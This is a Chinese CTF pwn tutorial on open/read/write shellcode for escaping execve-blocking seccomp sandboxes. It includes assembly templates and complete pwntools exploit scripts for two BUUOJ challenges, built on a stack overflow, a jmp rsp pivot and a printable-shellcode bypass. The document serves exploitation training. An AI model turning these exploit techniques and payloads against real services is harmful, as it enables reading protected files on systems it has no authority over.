ORW_stack(栈上ORW)
概述:
沙盒机制也就是我们常说的沙箱,英文名sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
在ctf比赛中,pwn题中的沙盒一般都会限制execve的系统调用,这样一来one_gadget和system调用都不好使,只能采取open/read/write的组合方式来读取flag。
开启沙箱的两种方式
在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。
prctl
函数原型:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <sys/prctl.h> int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &v1);
|
seccomp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| __int64 sandbox() { __int64 v1;
v1 = seccomp_init(0LL); if ( !v1 ) { puts("seccomp error"); exit(0); }
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL); seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
if ( seccomp_load(v1) < 0 ) { seccomp_release(v1); puts("seccomp error"); exit(0); } return seccomp_release(v1); }
|
1
| seccomp-tools dump ./filename
|
这个工具的下载读者可自行搜索
普通ORW模板
32位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| ; "/home/orw/flag\x00" 保存到栈上 ; 小端序 ; 要注意给字符串结尾加上 '\x00' push 0x006761 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f ; open("/home/orw/flag", O_RDONLY) ; mov eax,5 ; open() 系统调用号是 5 mov ebx,esp ; "/home/orw/flag" xor ecx,ecx ; O_RDONLY = 0 xor edx,edx int 0x80 ; int 80h 会报错 ; 返回 fd 保存到 eax 中
; read(fd, buf, count) mov ebx,eax ; fd mov eax,3 ; read() 的系统调用号是 3 mov ecx,esp ; buf mov edx,0x30 ; count int 0x80
; write(fd, buf, count) mov eax,4 ; write() 的系统调用号是 4 mov ebx,1 ; fd=1, write到标准输出 mov ecx,esp ; buf mov edx,0x30 ; count int 0x80
|
64位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| ; open("flag", 0) 0: 68 66 6c 61 67 push 0x67616c66 5: 6a 02 push 0x2 7: 58 pop rax 8: 48 89 e7 mov rdi,rsp b: 48 31 f6 xor rsi,rsi e: 0f 05 syscall
; read(fd, rsp, 0x20) 10: 48 89 c7 mov rdi,rax 13: 48 31 c0 xor rax,rax 16: 48 89 e6 mov rsi,rsp 19: 6a 20 push 0x20 1b: 5a pop rdx 1c: 0f 05 syscall
; write(1, rsp, 0x20) 1e: 6a 01 push 0x1 20: 58 pop rax 21: 6a 01 push 0x1 23: 5f pop rdi 24: 48 89 e6 mov rsi,rsp 27: 6a 20 push 0x20 29: 5a pop rdx 2a: 0f 05 syscall
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| /* push b'flag\x00' */ push 0x67616c66 /* call open('rsp', 0, 'O_RDONLY') */ push (2) /* 2 */ pop rax mov rdi, rsp xor esi, esi /* 0 */ cdq /* rdx=0 */ syscall /* call sendfile(1, 'rax', 0, 2147483647) */ mov r10d, 0x7fffffff mov rsi, rax push (40) /* 0x28 */ pop rax push 1 pop rdi cdq /* rdx=0 */ syscall
|
下面看一个实例:
[极客大挑战 2019]Not Bad


可以正常使用open,read,write
看一下RWX段在哪:

0x123000和0x601000都是可写可执行的,这里我选择0x601000处
1 2 3 4 5 6 7 8
| int sub_400A16() { char buf[32];
puts("Easy shellcode, have fun!"); read(0, buf, 0x38uLL); return puts("Baddd! Focu5 me! Baddd! Baddd!"); }
|
这里存在栈溢出
1 2 3 4
| void sub_4009EE() { __asm { jmp rsp } }
|
还提供了JMP RSP,如果溢出空间足够大,我们可以直接覆盖返回地址为jmp rsp的地址,后面写入shellcode,但是这里ret后只有0x38 - 0x30 = 0x8的大小,显然不够,我们还是把shellcode写在前面,但是仍然不够,我们可以先写一个read调用asm(shellcraft.read(0,addr,0x100))+asm(‘mov rax,0x601000;call rax’)这里的addr = 0x601000,然后溢出到ret填入jmp rsp ,在后面跟着写入asm(‘sub rsp,0x30;jmp rsp’),此时抬高rsp 0x30也就回到了buf写入的地方开始执行我们布置的shellcode,调用read把orw写进0x601000,再call 0x601000就实现了打印出flag
orw可以借助pwntools也可以手写
1 2 3
| orw=shellcraft.open('./flag') orw+=shellcraft.read(3,mmap,0x50) orw+=shellcraft.write(1,mmap,0x50)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| orw = asm(''' push 0x67616c66 mov rdi , rsp mov rsi , 0 mov rax , 2 syscall mov rdi , 3 mov rsi , 0x601000 mov rdx , 0x30 mov rax , 0 syscall
mov rdi ,1 mov rdx ,0x30 mov rax ,1 syscall ''')
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.buuoj.cn',29649) io.recvuntil('Easy shellcode, have fun!\n')
addr =0x601000
orw = asm(''' push 0x67616c66 mov rdi , rsp mov rsi , 0 mov rax , 2 syscall mov rdi , 3 mov rsi , 0x601000 mov rdx , 0x30 mov rax , 0 syscall
mov rdi ,1 mov rdx ,0x30 mov rax ,1 syscall ''') jmp_rsp=0x400A01 payload=asm(shellcraft.read(0,addr,0x100))+asm('mov rax,0x601000;call rax') payload=payload.ljust(0x28,b'\x00') payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
io.sendline(payload)
io.sendline(orw) io.interactive()
|

gwctf_2019_shellcode
再看一个例子:


黑名单禁用了execve,还是可以使用open,read,write

这里有个call rax将其nop掉就可以看反汇编了,不过直接读汇编也行,这里不算复杂

想要执行shellcode,需先让is_printable函数的返回值为0,is_printable函数这里不放图了,就是shellcode得是可打印字符串,用alpha3可以生成,但是长度太长,这里考虑使用\x00截断strlen,在shellcode里的push 0 就可以截断,或者参考https://www.cnblogs.com/7resp4ss/p/16996731.html这篇文章使用'\x00\x4d\x00\x41'
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.buuoj.cn',27668)
orw = (''' push 0x67616c66 push rsp pop rdi push 0 pop rsi push 2 pop rax syscall mov rdi , 3 mov rsi , rsp /* 1191936 == 0x123000 */ mov rdx , 0x30 mov rax , 0 syscall
mov rdi ,1 mov rdx ,0x30 mov rax ,1 syscall ''') payload = asm(orw) io.sendline(payload)
io.interactive()
|
